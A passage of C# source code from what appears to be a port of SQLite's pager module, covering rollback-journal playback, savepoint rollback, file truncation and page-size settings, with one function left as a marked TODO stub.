in no-sync mode ** and a page is moved during an incremental vacuum then the page may ** not be in the pager cache. Later: if a malloc() or IO error occurs ** during a Movepage() call, then the page may not be in the cache ** either. So the condition described in the above paragraph is not ** Debug.Assert()able. ** ** If in EXCLUSIVE state, then we update the pager cache if it exists ** and the main file. The page is then marked not dirty. ** ** Ticket #1171: The statement journal might contain page content that is ** different from the page content at the start of the transaction. ** This occurs when a page is changed prior to the start of a statement ** then changed again within the statement. When rolling back such a ** statement we must not write to the original database unless we know ** for certain that original page contents are synced into the main rollback ** journal. Otherwise, a power loss might leave modified data in the ** database file without an entry in the rollback journal that can ** restore the database to its original form. Two conditions must be ** met before writing to the database files. (1) the database must be ** locked. (2) we know that the original page content is fully synced ** in the main journal either because the page is not in cache or else ** the page is marked as needSync==0. ** ** 2008-04-14: When attempting to vacuum a corrupt database file, it ** is possible to fail a statement on a database that does not yet exist. ** Do not attempt to write if database file has never been opened. */ pPg = pager_lookup(pPager, pgno); Debug.Assert(pPg != null || #if SQLITE_OMIT_MEMORYDB 0==MEMDB #else pPager.memDb == 0 #endif ); PAGERTRACE("PLAYBACK %d page %d hash(%08x) %s\n", PAGERID(pPager), pgno, pager_datahash(pPager.pageSize, aData), (isMainJrnl != 0 ? "main-journal" : "sub-journal") ); if ((pPager.state >= PAGER_EXCLUSIVE) && (pPg == null || 0 == (pPg.flags & PGHDR_NEED_SYNC)) && isOpen(pPager.fd) && 0 == isUnsync ) { i64 ofst = (pgno - 1) * (i64)pPager.pageSize; rc = sqlite3OsWrite(pPager.fd, aData, pPager.pageSize, ofst); if (pgno > pPager.dbFileSize) { pPager.dbFileSize = (u32)pgno; } if (pPager.pBackup != null) { #if SQLITE_HAS_CODEC CODEC1( pPager, aData, pgno, 3, rc = SQLITE_NOMEM ); #endif sqlite3BackupUpdate(pPager.pBackup, pgno, aData); #if SQLITE_HAS_CODEC CODEC1( pPager, aData, pgno, 0, rc = SQLITE_NOMEM ); #endif } } else if (0 == isMainJrnl && pPg == null) { /* If this is a rollback of a savepoint and data was not written to ** the database and the page is not in-memory, there is a potential ** problem. When the page is next fetched by the b-tree layer, it ** will be read from the database file, which may or may not be ** current. ** ** There are a couple of different ways this can happen. All are quite ** obscure. When running in synchronous mode, this can only happen ** if the page is on the free-list at the start of the transaction, then ** populated, then moved using sqlite3PagerMovepage(). ** ** The solution is to add an in-memory page to the cache containing ** the data just read from the sub-journal. Mark the page as dirty ** and if the pager requires a journal-sync, then mark the page as ** requiring a journal-sync before it is written. */ Debug.Assert(isSavepnt != 0); if ((rc = sqlite3PagerAcquire(pPager, (u32)pgno, ref pPg, 1)) != SQLITE_OK) { return rc; } pPg.flags &= ~PGHDR_NEED_READ; sqlite3PcacheMakeDirty(pPg); } if (pPg != null) { /* No page should ever be explicitly rolled back that is in use, except ** for page 1 which is held in use in order to keep the lock on the ** database active. However such a page may be rolled back as a result ** of an internal error resulting in an automatic call to ** sqlite3PagerRollback(). */ byte[] pData = pPg.pData; Buffer.BlockCopy(aData, 0, pData, 0, pPager.pageSize);// memcpy(pData, aData, pPager.pageSize); pPager.xReiniter(pPg); if (isMainJrnl != 0 && (0 == isSavepnt || pOffset <= pPager.journalHdr)) { /* If the contents of this page were just restored from the main ** journal file, then its content must be as they were when the ** transaction was first opened. In this case we can mark the page ** as clean, since there will be no need to write it out to the. ** ** There is one exception to this rule. If the page is being rolled ** back as part of a savepoint (or statement) rollback from an ** unsynced portion of the main journal file, then it is not safe ** to mark the page as clean. This is because marking the page as ** clean will clear the PGHDR_NEED_SYNC flag. Since the page is ** already in the journal file (recorded in Pager.pInJournal) and ** the PGHDR_NEED_SYNC flag is cleared, if the page is written to ** again within this transaction, it will be marked as dirty but ** the PGHDR_NEED_SYNC flag will not be set. It could then potentially ** be written out into the database file before its journal file ** segment is synced. If a crash occurs during or following this, ** database corruption may ensue. */ sqlite3PcacheMakeClean(pPg); } #if SQLITE_CHECK_PAGES pPg.pageHash = pager_pagehash(pPg); #endif /* If this was page 1, then restore the value of Pager.dbFileVers. ** Do this before any decoding. */ if (pgno == 1) { Buffer.BlockCopy(pData, 24, pPager.dbFileVers, 0, pPager.dbFileVers.Length); //memcpy(pPager.dbFileVers, ((u8*)pData)[24], sizeof(pPager.dbFileVers)); } /* Decode the page just read from disk */ #if SQLITE_HAS_CODEC CODEC1(pPager, pData, pPg.pgno, 3, rc=SQLITE_NOMEM); #endif sqlite3PcacheRelease(pPg); } return rc; } /* ** Parameter zMaster is the name of a master journal file. A single journal ** file that referred to the master journal file has just been rolled back. ** This routine checks if it is possible to delete the master journal file, ** and does so if it is. ** ** Argument zMaster may point to Pager.pTmpSpace. So that buffer is not ** available for use within this function. ** ** When a master journal file is created, it is populated with the names ** of all of its child journals, one after another, formatted as utf-8 ** encoded text. The end of each child journal file is marked with a ** nul-terminator byte (0x00). i.e. the entire contents of a master journal ** file for a transaction involving two databases might be: ** ** "/home/bill/a.db-journal\x00/home/bill/b.db-journal\x00" ** ** A master journal file may only be deleted once all of its child ** journals have been rolled back. ** ** This function reads the contents of the master-journal file into ** memory and loops through each of the child journal names. For ** each child journal, it checks if: ** ** * if the child journal exists, and if so ** * if the child journal contains a reference to master journal ** file zMaster ** ** If a child journal can be found that matches both of the criteria ** above, this function returns without doing anything. Otherwise, if ** no such child journal can be found, file zMaster is deleted from ** the file-system using sqlite3OsDelete(). ** ** If an IO error within this function, an error code is returned. This ** function allocates memory by calling sqlite3Malloc(). If an allocation ** fails, SQLITE_NOMEM is returned. Otherwise, if no IO or malloc errors ** occur, SQLITE_OK is returned. ** ** TODO: This function allocates a single block of memory to load ** the entire contents of the master journal file. This could be ** a couple of kilobytes or so - potentially larger than the page ** size. */ static int pager_delmaster(Pager pPager, string zMaster) { sqlite3_vfs pVfs = pPager.pVfs; int rc; /* Return code */ sqlite3_file pMaster; /* Malloc'd master-journal file descriptor */ sqlite3_file pJournal; /* Malloc'd child-journal file descriptor */ string zMasterJournal = null; /* Contents of master journal file */ i64 nMasterJournal; /* Size of master journal file */ /* Allocate space for both the pJournal and pMaster file descriptors. ** If successful, open the master journal file for reading. */ pMaster = new sqlite3_file();// (sqlite3_file*)sqlite3MallocZero( pVfs.szOsFile * 2 ); pJournal = new sqlite3_file();// (sqlite3_file*)( ( (u8*)pMaster ) + pVfs.szOsFile ); if (null == pMaster) { rc = SQLITE_NOMEM; } else { const int flags = (SQLITE_OPEN_READONLY | SQLITE_OPEN_MASTER_JOURNAL); int iDummy = 0; rc = sqlite3OsOpen(pVfs, zMaster, pMaster, flags, ref iDummy); } if (rc != SQLITE_OK) goto delmaster_out; Debugger.Break(); //TODO -- //rc = sqlite3OsFileSize( pMaster, &nMasterJournal ); //if ( rc != SQLITE_OK ) goto delmaster_out; //if ( nMasterJournal > 0 ) //{ // char* zJournal; // char* zMasterPtr = 0; // int nMasterPtr = pVfs.mxPathname + 1; // /* Load the entire master journal file into space obtained from // ** sqlite3_malloc() and pointed to by zMasterJournal. // */ // zMasterJournal = sqlite3Malloc((int)nMasterJournal + nMasterPtr + 1); // if ( !zMasterJournal ) // { // rc = SQLITE_NOMEM; // goto delmaster_out; // } // zMasterPtr = &zMasterJournal[nMasterJournal+1]; // rc = sqlite3OsRead( pMaster, zMasterJournal, (int)nMasterJournal, 0 ); // if ( rc != SQLITE_OK ) goto delmaster_out; // zMasterJournal[nMasterJournal] = 0; // zJournal = zMasterJournal; // while ( ( zJournal - zMasterJournal ) < nMasterJournal ) // { // int exists; // rc = sqlite3OsAccess( pVfs, zJournal, SQLITE_ACCESS_EXISTS, &exists ); // if ( rc != SQLITE_OK ) // { // goto delmaster_out; // } // if ( exists ) // { // /* One of the journals pointed to by the master journal exists. // ** Open it and check if it points at the master journal. If // ** so, return without deleting the master journal file. // */ // int c; // int flags = ( SQLITE_OPEN_READONLY | SQLITE_OPEN_MAIN_JOURNAL ); // rc = sqlite3OsOpen( pVfs, zJournal, pJournal, flags, 0 ); // if ( rc != SQLITE_OK ) // { // goto delmaster_out; // } // rc = readMasterJournal( pJournal, zMasterPtr, nMasterPtr ); // sqlite3OsClose( pJournal ); // if ( rc != SQLITE_OK ) // { // goto delmaster_out; // } // c = zMasterPtr[0] != 0 && strcmp( zMasterPtr, zMaster ) == 0; // if ( c ) // { // /* We have a match. Do not delete the master journal file. */ // goto delmaster_out; // } // } // zJournal += ( sqlite3Strlen30( zJournal ) + 1 ); // } //} //rc = sqlite3OsDelete( pVfs, zMaster, 0 ); goto delmaster_out; delmaster_out: if (zMasterJournal != null) { //sqlite3_free( ref zMasterJournal ); } if (pMaster != null) { sqlite3OsClose(pMaster); Debug.Assert(!isOpen(pJournal)); } //sqlite3_free( ref pMaster ); return rc; } /* ** This function is used to change the actual size of the database ** file in the file-system. This only happens when committing a transaction, ** or rolling back a transaction (including rolling back a hot-journal). ** ** If the main database file is not open, or an exclusive lock is not ** held, this function is a no-op. Otherwise, the size of the file is ** changed to nPage pages (nPage*pPager.pageSize bytes). If the file ** on disk is currently larger than nPage pages, then use the VFS ** xTruncate() method to truncate it. ** ** Or, it might might be the case that the file on disk is smaller than ** nPage pages. Some operating system implementations can get confused if ** you try to truncate a file to some size that is larger than it ** currently is, so detect this case and write a single zero byte to ** the end of the new file instead. ** ** If successful, return SQLITE_OK. If an IO error occurs while modifying ** the database file, return the error code to the caller. */ static int pager_truncate(Pager pPager, u32 nPage) { int rc = SQLITE_OK; if (pPager.state >= PAGER_EXCLUSIVE && isOpen(pPager.fd)) { int currentSize = 0; int newSize; /* TODO: Is it safe to use Pager.dbFileSize here? */ rc = sqlite3OsFileSize(pPager.fd, ref currentSize); newSize = (int)(pPager.pageSize * nPage); if (rc == SQLITE_OK && currentSize != newSize) { if (currentSize > newSize) { rc = sqlite3OsTruncate(pPager.fd, newSize); } else { rc = sqlite3OsWrite(pPager.fd, new byte[1], 1, newSize - 1); } if (rc == SQLITE_OK) { pPager.dbSize = nPage; } } } return rc; } /* ** Set the value of the Pager.sectorSize variable for the given ** pager based on the value returned by the xSectorSize method ** of the open database file. The sector size will be used used ** to determine the size and alignment of journal header and ** master journal pointers within created journal files. ** ** For temporary files the effective sector size is always 512 bytes. ** ** Otherwise, for non-temporary files, the effective sector size is ** the value returned by the xSectorSize() method rounded up to 512 if ** it is less than 512, or rounded down to MAX_SECTOR_SIZE if it ** is greater than MAX_SECTOR_SIZE. */ static void setSectorSize(Pager pPager) { Debug.Assert(isOpen(pPager.fd) || pPager.tempFile); if (!pPager.tempFile) { /* Sector size doesn't matter for temporary files. Also, the file ** may not have been opened yet, in which case the OsSectorSize() ** call will segfault. */ pPager.sectorSize = (u32)sqlite3OsSectorSize(pPager.fd); } if (pPager.sectorSize < 512) { Debug.Assert(MAX_SECTOR_SIZE >= 512); pPager.sectorSize = 512; } if (pPager.sectorSize > MAX_SECTOR_SIZE) { pPager.sectorSize = MAX_SECTOR_SIZE; } } /* ** Playback the journal and thus restore the database file to ** the state it was in before we started making changes. ** ** The journal file format is as follows: ** ** (1) 8 byte prefix. A copy of aJournalMagic[]. ** (2) 4 byte big-endian integer which is the number of valid page records ** in the journal. If this value is 0xffffffff, then compute the ** number of page records from the journal size. ** (3) 4 byte big-endian integer which is the initial value for the ** sanity checksum. ** (4) 4 byte integer which is the number of pages to truncate the ** database to during a rollback. ** (5) 4 byte big-endian integer which is the sector size. The header ** is this many bytes in size. ** (6) 4 byte big-endian integer which is the page case. ** (7) 4 byte integer which is the number of bytes in the master journal ** name. The value may be zero (indicate that there is no master ** journal.) ** (8) N bytes of the master journal name. The name will be nul-terminated ** and might be shorter than the value read from (5). If the first byte ** of the name is \000 then there is no master journal. The master ** journal name is stored in UTF-8. ** (9) Zero or more pages instances, each as follows: ** + 4 byte page number. ** + pPager.pageSize bytes of data. ** + 4 byte checksum ** ** When we speak of the journal header, we mean the first 8 items above. ** Each entry in the journal is an instance of the 9th item. ** ** Call the value from the second bullet "nRec". nRec is the number of ** valid page entries in the journal. In most cases, you can compute the ** value of nRec from the size of the journal file. But if a power ** failure occurred while the journal was being written, it could be the ** case that the size of the journal file had already been increased but ** the extra entries had not yet made it safely to disk. In such a case, ** the value of nRec computed from the file size would be too large. For ** that reason, we always use the nRec value in the header. ** ** If the nRec value is 0xffffffff it means that nRec should be computed ** from the file size. This value is used when the user selects the ** no-sync option for the journal. A power failure could lead to corruption ** in this case. But for things like temporary table (which will be ** deleted when the power is restored) we don't care. ** ** If the file opened as the journal file is not a well-formed ** journal file then all pages up to the first corrupted page are rolled ** back (or no pages if the journal header is corrupted). The journal file ** is then deleted and SQLITE_OK returned, just as if no corruption had ** been encountered. ** ** If an I/O or malloc() error occurs, the journal-file is not deleted ** and an error code is returned. ** ** The isHot parameter indicates that we are trying to rollback a journal ** that might be a hot journal. Or, it could be that the journal is ** preserved because of JOURNALMODE_PERSIST or JOURNALMODE_TRUNCATE. ** If the journal really is hot, reset the pager cache prior rolling ** back any content. If the journal is merely persistent, no reset is ** needed. */ static int pager_playback(Pager pPager, int isHot) { sqlite3_vfs pVfs = pPager.pVfs; int szJ = 0; /* Size of the journal file in bytes */ u32 nRec = 0; /* Number of Records in the journal */ u32 u; /* Unsigned loop counter */ u32 mxPg = 0; /* Size of the original file in pages */ int rc; /* Result code of a subroutine */ int res = 1; /* Value returned by sqlite3OsAccess() */ byte[] zMaster = null; /* Name of master journal file if any */ int needPagerReset; /* True to reset page prior to first page rollback */ /* Figure out how many records are in the journal. Abort early if ** the journal is empty. */ Debug.Assert(isOpen(pPager.jfd)); rc = sqlite3OsFileSize(pPager.jfd, ref szJ); if (rc != SQLITE_OK || szJ == 0) { goto end_playback; } /* Read the master journal name from the journal, if it is present. ** If a master journal file name is specified, but the file is not ** present on disk, then the journal is not hot and does not need to be ** played back. ** ** TODO: Technically the following is an error because it assumes that ** buffer Pager.pTmpSpace is (mxPathname+1) bytes or larger. i.e. that ** (pPager.pageSize >= pPager.pVfs->mxPathname+1). Using os_unix.c, ** mxPathname is 512, which is the same as the minimum allowable value ** for pageSize. */ zMaster = new byte[pPager.pVfs.mxPathname + 1];// pPager.pTmpSpace ); rc = readMasterJournal(pPager.jfd, zMaster, (u32)pPager.pVfs.mxPathname + 1); if (rc == SQLITE_OK && zMaster[0] != 0) { rc = sqlite3OsAccess(pVfs, Encoding.UTF8.GetString(zMaster), SQLITE_ACCESS_EXISTS, ref res); } zMaster = null; if (rc != SQLITE_OK || res == 0) { goto end_playback; } pPager.journalOff = 0; needPagerReset = isHot; /* This loop terminates either when a readJournalHdr() or ** pager_playback_one_page() call returns SQLITE_DONE or an IO error ** occurs. */ while (true) { int isUnsync = 0; /* Read the next journal header from the journal file. If there are ** not enough bytes left in the journal file for a complete header, or ** it is corrupted, then a process must of failed while writing it. ** This indicates nothing more needs to be rolled back. */ rc = readJournalHdr(pPager, isHot, szJ, ref nRec, ref mxPg); if (rc != SQLITE_OK) { if (rc == SQLITE_DONE) { rc = SQLITE_OK; } goto end_playback; } /* If nRec is 0xffffffff, then this journal was created by a process ** working in no-sync mode. This means that the rest of the journal ** file consists of pages, there are no more journal headers. Compute ** the value of nRec based on this assumption. */ if (nRec == 0xffffffff) { Debug.Assert(pPager.journalOff == JOURNAL_HDR_SZ(pPager)); nRec = (u32)((szJ - JOURNAL_HDR_SZ(pPager)) / JOURNAL_PG_SZ(pPager)); } /* If nRec is 0 and this rollback is of a transaction created by this ** process and if this is the final header in the journal, then it means ** that this part of the journal was being filled but has not yet been ** synced to disk. Compute the number of pages based on the remaining ** size of the file. ** ** The third term of the test was added to fix ticket #2565. ** When rolling back a hot journal, nRec==0 always means that the next ** chunk of the journal contains zero pages to be rolled back. But ** when doing a ROLLBACK and the nRec==0 chunk is the last chunk in ** the journal, it means that the journal might contain additional ** pages that need to be rolled back and that the number of pages ** should be computed based on the journal file size. */ if (nRec == 0 && 0 == isHot && pPager.journalHdr + JOURNAL_HDR_SZ(pPager) == pPager.journalOff) { nRec = (u32)((szJ - pPager.journalOff) / JOURNAL_PG_SZ(pPager)); isUnsync = 1; } /* If this is the first header read from the journal, truncate the ** database file back to its original size. */ if (pPager.journalOff == JOURNAL_HDR_SZ(pPager)) { rc = pager_truncate(pPager, mxPg); if (rc != SQLITE_OK) { goto end_playback; } pPager.dbSize = mxPg; } /* Copy original pages out of the journal and back into the ** database file and/or page cache. */ for (u = 0; u < nRec; u++) { if (needPagerReset != 0) { pager_reset(pPager); needPagerReset = 0; } rc = pager_playback_one_page(pPager, 1, isUnsync, ref pPager.journalOff, 0, null); if (rc != SQLITE_OK) { if (rc == SQLITE_DONE) { rc = SQLITE_OK; pPager.journalOff = szJ; break; } else { /* If we are unable to rollback, quit and return the error ** code. This will cause the pager to enter the error state ** so that no further harm will be done. Perhaps the next ** process to come along will be able to rollback the database. */ goto end_playback; } } } } /*NOTREACHED*/ //Debugger.Break(); end_playback: /* Following a rollback, the database file should be back in its original ** state prior to the start of the transaction, so invoke the ** SQLITE_FCNTL_DB_UNCHANGED file-control method to disable the ** assertion that the transaction counter was modified. */ int iDummy = 0; Debug.Assert( pPager.fd.pMethods == null || sqlite3OsFileControl(pPager.fd, SQLITE_FCNTL_DB_UNCHANGED, ref iDummy) >= SQLITE_OK ); /* If this playback is happening automatically as a result of an IO or ** malloc error that occurred after the change-counter was updated but ** before the transaction was committed, then the change-counter ** modification may just have been reverted. If this happens in exclusive ** mode, then subsequent transactions performed by the connection will not ** update the change-counter at all. This may lead to cache inconsistency ** problems for other processes at some point in the future. So, just ** in case this has happened, clear the changeCountDone flag now. */ pPager.changeCountDone = pPager.tempFile; if (rc == SQLITE_OK) { zMaster = new byte[pPager.pVfs.mxPathname + 1];//pPager.pTmpSpace ); rc = readMasterJournal(pPager.jfd, zMaster, (u32)pPager.pVfs.mxPathname + 1); testcase(rc != SQLITE_OK); } if (rc == SQLITE_OK) { rc = pager_end_transaction(pPager, zMaster[0] != '\0' ? 1 : 0); testcase(rc != SQLITE_OK); } if (rc == SQLITE_OK && zMaster[0] != '\0' && res != 0) { /* If there was a master journal and this routine will return success, ** see if it is possible to delete the master journal. */ rc = pager_delmaster(pPager, Encoding.UTF8.GetString(zMaster)); testcase(rc != SQLITE_OK); } /* The Pager.sectorSize variable may have been updated while rolling ** back a journal created by a process with a different sector size ** value. Reset it to the correct value for this process. */ setSectorSize(pPager); return rc; } /* ** Playback savepoint pSavepoint. Or, if pSavepoint==NULL, then playback ** the entire master journal file. The case pSavepoint==NULL occurs when ** a ROLLBACK TO command is invoked on a SAVEPOINT that is a transaction ** savepoint. ** ** When pSavepoint is not NULL (meaning a non-transaction savepoint is ** being rolled back), then the rollback consists of up to three stages, ** performed in the order specified: ** ** * Pages are played back from the main journal starting at byte ** offset PagerSavepoint.iOffset and continuing to ** PagerSavepoint.iHdrOffset, or to the end of the main journal ** file if PagerSavepoint.iHdrOffset is zero. ** ** * If PagerSavepoint.iHdrOffset is not zero, then pages are played ** back starting from the journal header immediately following ** PagerSavepoint.iHdrOffset to the end of the main journal file. ** ** * Pages are then played back from the sub-journal file, starting ** with the PagerSavepoint.iSubRec and continuing to the end of ** the journal file. ** ** Throughout the rollback process, each time a page is rolled back, the ** corresponding bit is set in a bitvec structure (variable pDone in the ** implementation below). This is used to ensure that a page is only ** rolled back the first time it is encountered in either journal. ** ** If pSavepoint is NULL, then pages are only played back from the main ** journal file. There is no need for a bitvec in this case. ** ** In either case, before playback commences the Pager.dbSize variable ** is reset to the value that it held at the start of the savepoint ** (or transaction). No page with a page-number greater than this value ** is played back. If one is encountered it is simply skipped. */ static int pagerPlaybackSavepoint(Pager pPager, PagerSavepoint pSavepoint) { i64 szJ; /* Effective size of the main journal */ i64 iHdrOff; /* End of first segment of main-journal records */ int rc = SQLITE_OK; /* Return code */ Bitvec pDone = null; /* Bitvec to ensure pages played back only once */ Debug.Assert(pPager.state >= PAGER_SHARED); /* Allocate a bitvec to use to store the set of pages rolled back */ if (pSavepoint != null) { pDone = sqlite3BitvecCreate(pSavepoint.nOrig); if (null == pDone) { return SQLITE_NOMEM; } } /* Set the database size back to the value it was before the savepoint ** being reverted was opened. */ pPager.dbSize = pSavepoint != null ? pSavepoint.nOrig : pPager.dbOrigSize; /* Use pPager.journalOff as the effective size of the main rollback ** journal. The actual file might be larger than this in ** PAGER_JOURNALMODE_TRUNCATE or PAGER_JOURNALMODE_PERSIST. But anything ** past pPager.journalOff is off-limits to us. */ szJ = pPager.journalOff; /* Begin by rolling back records from the main journal starting at ** PagerSavepoint.iOffset and continuing to the next journal header. ** There might be records in the main journal that have a page number ** greater than the current database size (pPager.dbSize) but those ** will be skipped automatically. Pages are added to pDone as they ** are played back. */ if (pSavepoint != null) { iHdrOff = pSavepoint.iHdrOffset != 0 ? pSavepoint.iHdrOffset : szJ; pPager.journalOff = pSavepoint.iOffset; while (rc == SQLITE_OK && pPager.journalOff < iHdrOff) { rc = pager_playback_one_page(pPager, 1, 0, ref pPager.journalOff, 1, pDone); } Debug.Assert(rc != SQLITE_DONE); } else { pPager.journalOff = 0; } /* Continue rolling back records out of the main journal starting at ** the first journal header seen and continuing until the effective end ** of the main journal file. Continue to skip out-of-range pages and ** continue adding pages rolled back to pDone. */ while (rc == SQLITE_OK && pPager.journalOff < szJ) { u32 ii; /* Loop counter */ u32 nJRec = 0; /* Number of Journal Records */ u32 dummy = 0; rc = readJournalHdr(pPager, 0, (int)szJ, ref nJRec, ref dummy); Debug.Assert(rc != SQLITE_DONE); /* ** The "pPager.journalHdr+JOURNAL_HDR_SZ(pPager)==pPager.journalOff" ** test is related to ticket #2565. See the discussion in the ** pager_playback() function for additional information. */ if (nJRec == 0 && pPager.journalHdr + JOURNAL_HDR_SZ(pPager) == pPager.journalOff ) { nJRec = (u32)((szJ - pPager.journalOff) / JOURNAL_PG_SZ(pPager)); } for (ii = 0; rc == SQLITE_OK && ii < nJRec && pPager.journalOff < szJ; ii++) { rc = pager_playback_one_page(pPager, 1, 0, ref pPager.journalOff, 1, pDone); } Debug.Assert(rc != SQLITE_DONE); } Debug.Assert(rc != SQLITE_OK || pPager.journalOff == szJ); /* Finally, rollback pages from the sub-journal. Page that were ** previously rolled back out of the main journal (and are hence in pDone) ** will be skipped. Out-of-range pages are also skipped. */ if (pSavepoint != null) { u32 ii; /* Loop counter */ i64 offset = pSavepoint.iSubRec * (4 + pPager.pageSize); for (ii = pSavepoint.iSubRec; rc == SQLITE_OK && ii < pPager.nSubRec; ii++) { Debug.Assert(offset == ii * (4 + pPager.pageSize)); rc = pager_playback_one_page(pPager, 0, 0, ref offset, 1, pDone); } Debug.Assert(rc != SQLITE_DONE); } sqlite3BitvecDestroy(ref pDone); if (rc == SQLITE_OK) { pPager.journalOff = (int)szJ; } return rc; } /* ** Change the maximum number of in-memory pages that are allowed. */ static void sqlite3PagerSetCachesize(Pager pPager, int mxPage) { sqlite3PcacheSetCachesize(pPager.pPCache, mxPage); } /* ** Adjust the robustness of the database to damage due to OS crashes ** or power failures by changing the number of syncs()s when writing ** the rollback journal. There are three levels: ** ** OFF sqlite3OsSync() is never called. This is the default ** for temporary and transient files. ** ** NORMAL The journal is synced once before writes begin on the ** database. This is normally adequate protection, but ** it is theoretically possible, though very unlikely, ** that an inopertune power failure could leave the journal ** in a state which would cause damage to the database ** when it is rolled back. ** ** FULL The journal is synced twice before writes begin on the ** database (with some additional information - the nRec field ** of the journal header - being written in between the two ** syncs). If we assume that writing a ** single disk sector is atomic, then this mode provides ** assurance that the journal will not be corrupted to the ** point of causing damage to the database during rollback. ** ** Numeric values associated with these states are OFF==1, NORMAL=2, ** and FULL=3. */ #if !SQLITE_OMIT_PAGER_PRAGMAS static void sqlite3PagerSetSafetyLevel(Pager pPager, int level, bool bFullFsync) { pPager.noSync = (level == 1 || pPager.tempFile); pPager.fullSync = (level == 3 && !pPager.tempFile); pPager.sync_flags = bFullFsync ? SQLITE_SYNC_FULL : SQLITE_SYNC_NORMAL; if (pPager.noSync) pPager.needSync = false; } #endif /* ** The following global variable is incremented whenever the library ** attempts to open a temporary file. This information is used for ** testing and analysis only. */ #if SQLITE_TEST //static int sqlite3_opentemp_count = 0; #endif /* ** Open a temporary file. ** ** Write the file descriptor into *pFile. Return SQLITE_OK on success ** or some other error code if we fail. The OS will automatically ** delete the temporary file when it is closed. ** ** The flags passed to the VFS layer xOpen() call are those specified ** by parameter vfsFlags ORed with the following: ** ** SQLITE_OPEN_READWRITE ** SQLITE_OPEN_CREATE ** SQLITE_OPEN_EXCLUSIVE ** SQLITE_OPEN_DELETEONCLOSE */ static int pagerOpentemp( Pager pPager, /* The pager object */ ref sqlite3_file pFile, /* Write the file descriptor here */ int vfsFlags /* Flags passed through to the VFS */ ) { int rc; /* Return code */ #if SQLITE_TEST sqlite3_opentemp_count.iValue++; /* Used for testing and analysis only */ #endif vfsFlags |= SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE | SQLITE_OPEN_EXCLUSIVE | SQLITE_OPEN_DELETEONCLOSE; int dummy = 0; rc = sqlite3OsOpen(pPager.pVfs, null, pFile, vfsFlags, ref dummy); Debug.Assert(rc != SQLITE_OK || isOpen(pFile)); return rc; } /* ** Set the busy handler function. ** ** The pager invokes the busy-handler if sqlite3OsLock() returns ** SQLITE_BUSY when trying to upgrade from no-lock to a SHARED lock, ** or when trying to upgrade from a RESERVED lock to an EXCLUSIVE ** lock. It does *not* invoke the busy handler when upgrading from ** SHARED to RESERVED, or when upgrading from SHARED to EXCLUSIVE ** (which occurs during hot-journal rollback). Summary: ** ** Transition | Invokes xBusyHandler ** -------------------------------------------------------- ** NO_LOCK -> SHARED_LOCK | Yes ** SHARED_LOCK -> RESERVED_LOCK | No ** SHARED_LOCK -> EXCLUSIVE_LOCK | No ** RESERVED_LOCK -> EXCLUSIVE_LOCK | Yes ** ** If the busy-handler callback returns non-zero, the lock is ** retried. If it returns zero, then the SQLITE_BUSY error is ** returned to the caller of the pager API function. */ static void sqlite3PagerSetBusyhandler( Pager pPager, /* Pager object */ dxBusyHandler xBusyHandler, /* Pointer to busy-handler function */ //int (*xBusyHandler)(void *), object pBusyHandlerArg /* Argument to pass to xBusyHandler */ ) { pPager.xBusyHandler = xBusyHandler; pPager.pBusyHandlerArg = pBusyHandlerArg; } /* ** Report the current page size and number of reserved bytes back ** to the codec. */ #if SQLITE_HAS_CODEC static void pagerReportSize(Pager *pPager){ if( pPager->xCodecSizeChng ){ pPager->xCodecSizeChng(pPager->pCodec, pPager->pageSize, (int)pPager->nReserve); } } #else //# define pagerReportSize(X) /* No-op if we do not support a codec */ static void pagerReportSize(Pager pPager) { } #endif /* ** Change the page size used by the Pager object. The new page size ** is passed in *pPageSize. ** ** If the pager is in the error state when this function is called, it ** is a no-op. The value returned is the error state error code (i.e. ** one of SQLITE_IOERR, SQLITE_CORRUPT or SQLITE_FULL). ** ** Otherwise, if all of the following are true: ** ** * the new page size (value of *pPageSize) is valid (a power ** of two between 512 and SQLITE_MAX_PAGE_SIZE, inclusive), and ** ** * there are no outstanding page references, and ** ** * the database is either not an in-memory database or it is ** an in-memory database that currently consists of zero pages. ** ** then the pager object page size is set to *pPageSize. ** ** If the page size is changed, then this function uses sqlite3PagerMalloc() ** to obtain a new Pager.pTmpSpace buffer. If this allocation attempt ** fails, SQLITE_NOMEM is returned and the page size remains unchanged. ** In all other cases, SQLITE_OK is returned. ** ** If the page size is not changed, either because one of the enumerated ** conditions above is not true, the pager was in error state when this ** function was called, or because the memory allocation attempt failed, ** then *pPageSize is set to the old, retained page size before returning. */ static int sqlite3PagerSetPagesize(Pager pPager, ref u16 pPageSize, int nReserve) { int rc = pPager.errCode; if (rc == SQLITE_OK) { int pageSize = pPageSize; Debug.Assert(pageSize == 0 || (pageSize >= 512 && pageSize <= SQLITE_MAX_PAGE_SIZE)); if ((pPager.memDb == 0 || pPager.dbSize == 0) && sqlite3PcacheRefCount(pPager.pPCache) == 0 && pageSize != 0 && pageSize != pPager.pageSize ) { //PgHdr pNew = sqlite3PageMalloc( pageSize ); //if ( pNew == null ) //{ // rc = SQLITE_NOMEM; //} //else { pager_reset(pPager); pPager.pageSize = pageSize; //sqlite3PageFree( ref pPager.pTmpSpace ); pPager.pTmpSpace = new byte[pageSize];// pNew; sqlite3PcacheSetPageSize(pPager.pPCache, pageSize); } } pPageSize = (u16)pPager.pageSize; if (nReserve < 0) nReserve = pPager.nReserve; Debug.Assert(nReserve >= 0 && nReserve < 1000); pPager.nReserve = (i16)nReserve; pagerReportSize(pPager); } return rc; } /* ** Return a pointer to the "temporary page" buffer held internally ** by the pager. This is a buffer that is big enough to hold the ** entire content of a database page. This buffer is used internally ** during rollback and will be overwritten whenever a rollback ** occurs. But other modules are free to use it too, as long as ** no rollbacks are happening. */ static byte[] sqlite3PagerTempSpace(Pager pPager) { return pPager.pTmpSpace; } /* ** Attempt to set the maximum database page count if mxPage is positive. ** Make no changes if mxPage is zero or negative. And never reduce the ** maximum page count below the current size of the database. ** ** Regardless of mxPage, return the current maximum page count. */ static long sqlite3PagerMaxPageCount(Pager pPager, int mxPage) { if (mxPage > 0) { pPager.mxPgno = (Pgno)mxPage; } int idummy = 0; sqlite3PagerPagecount(pPager, ref idummy); return pPager.mxPgno; } /* ** The following set of routines are used to disable the simulated ** I/O error mechanism. These routines are used to avoid simulated ** errors in places where we do not care about errors. ** ** Unless -DSQLITE_TEST=1 is used, these routines are all no-ops ** and generate no code. */ #if SQLITE_TEST //extern int sqlite3_io_error_pending; //extern int sqlite3_io_error_hit; static int saved_cnt; static void disable_simulated_io_errors() { saved_cnt = sqlite3_io_error_pending.iValue; sqlite3_io_error_pending.iValue = -1; } static void enable_simulated_io_errors() { sqlite3_io_error_pending.iValue = saved_cnt; } #else //# define disable_simulated_io_errors() //# define 